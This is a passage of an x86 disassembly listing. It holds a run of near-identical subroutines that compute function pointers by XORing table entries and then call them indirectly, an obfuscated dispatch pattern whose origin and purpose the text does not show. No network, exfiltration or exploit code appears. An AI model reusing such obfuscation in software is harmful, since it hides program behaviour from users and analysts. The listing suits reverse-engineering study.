mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AF27B
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AF27B: ; CODE XREF: sub_4AF1EA+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AF1EA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AF2E7 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDB40o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0FBh
mov [ebp+var_2C], 0E7h
mov [ebp+var_28], 33h
mov [ebp+var_24], 22h
mov [ebp+var_20], 0B3h
mov [ebp+var_1C], 20h
mov [ebp+var_18], 7Eh
mov [ebp+var_14], 0E5h
mov [ebp+var_10], 15h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 15h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AF378
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AF378: ; CODE XREF: sub_4AF2E7+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AF2E7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AF3E4 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDB44o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 8Ah
mov [ebp+var_2C], 7Ch
mov [ebp+var_28], 0CFh
mov [ebp+var_24], 30h
mov [ebp+var_20], 34h
mov [ebp+var_1C], 4Eh
mov [ebp+var_18], 33h
mov [ebp+var_14], 9Bh
mov [ebp+var_10], 0Eh
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Eh
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AF475
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AF475: ; CODE XREF: sub_4AF3E4+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AF3E4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AF4E1 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDB48o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 9Dh
mov [ebp+var_2C], 0ACh
mov [ebp+var_28], 37h
mov [ebp+var_24], 95h
mov [ebp+var_20], 0E8h
mov [ebp+var_1C], 0B3h
mov [ebp+var_18], 3Fh
mov [ebp+var_14], 40h
mov [ebp+var_10], 11h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 11h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AF572
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AF572: ; CODE XREF: sub_4AF4E1+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AF4E1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AF5DE proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDB4Co
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 5Dh
mov [ebp+var_2C], 61h
mov [ebp+var_28], 23h
mov [ebp+var_24], 37h
mov [ebp+var_20], 0E8h
mov [ebp+var_1C], 3Bh
mov [ebp+var_18], 0ACh
mov [ebp+var_14], 65h
mov [ebp+var_10], 14h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 14h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AF66F
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AF66F: ; CODE XREF: sub_4AF5DE+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AF5DE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AF6DB proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDB50o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 11h
mov [ebp+var_2C], 0E7h
mov [ebp+var_28], 29h
mov [ebp+var_24], 40h
mov [ebp+var_20], 5Fh
mov [ebp+var_1C], 0B9h
mov [ebp+var_18], 0D2h
mov [ebp+var_14], 9Ch
mov [ebp+var_10], 0Bh
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Bh
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AF76C
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AF76C: ; CODE XREF: sub_4AF6DB+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AF6DB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AF7D8 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDB54o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 6Ch
mov [ebp+var_2C], 64h
mov [ebp+var_28], 1Ch
mov [ebp+var_24], 9Fh
mov [ebp+var_20], 73h
mov [ebp+var_1C], 4Eh
mov [ebp+var_18], 0E5h
mov [ebp+var_14], 2Bh
mov [ebp+var_10], 12h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 12h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AF869
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AF869: ; CODE XREF: sub_4AF7D8+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AF7D8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AF8D5 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDB58o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 8Dh
mov [ebp+var_2C], 0F8h
mov [ebp+var_28], 0DAh
mov [ebp+var_24], 0CCh
mov [ebp+var_20], 6Ah
mov [ebp+var_1C], 16h
mov [ebp+var_18], 74h
mov [ebp+var_14], 0CAh
mov [ebp+var_10], 0
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AF963
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AF963: ; CODE XREF: sub_4AF8D5+7Bj
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AF8D5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AF9CF proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDB5Co
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 6Bh
mov [ebp+var_2C], 7Dh
mov [ebp+var_28], 94h
mov [ebp+var_24], 0C3h
mov [ebp+var_20], 71h
mov [ebp+var_1C], 4Bh
mov [ebp+var_18], 25h
mov [ebp+var_14], 43h
mov [ebp+var_10], 3
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 3
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AFA60
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AFA60: ; CODE XREF: sub_4AF9CF+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AF9CF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AFACC proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDB60o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 18h
mov [ebp+var_2C], 7Dh
mov [ebp+var_28], 83h
mov [ebp+var_24], 3Dh
mov [ebp+var_20], 62h
mov [ebp+var_1C], 9
mov [ebp+var_18], 58h
mov [ebp+var_14], 0DEh
mov [ebp+var_10], 3
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 3
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AFB5D
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AFB5D: ; CODE XREF: sub_4AFACC+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AFACC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AFBC9 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDB64o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 93h
mov [ebp+var_2C], 4Eh
mov [ebp+var_28], 5Bh
mov [ebp+var_24], 0D3h
mov [ebp+var_20], 9Dh
mov [ebp+var_1C], 9Ch
mov [ebp+var_18], 0F2h
mov [ebp+var_14], 0CBh
mov [ebp+var_10], 12h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 12h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AFC5A
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AFC5A: ; CODE XREF: sub_4AFBC9+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AFBC9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AFCC6 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDB68o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 32h
mov [ebp+var_2C], 0F0h
mov [ebp+var_28], 0D9h
mov [ebp+var_24], 37h
mov [ebp+var_20], 0C6h
mov [ebp+var_1C], 0E6h
mov [ebp+var_18], 86h
mov [ebp+var_14], 0DBh
mov [ebp+var_10], 0Ah
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Ah
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AFD57
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AFD57: ; CODE XREF: sub_4AFCC6+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AFCC6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AFDC3 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDB6Co
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0D1h
mov [ebp+var_2C], 0B5h
mov [ebp+var_28], 0Ah
mov [ebp+var_24], 6Bh
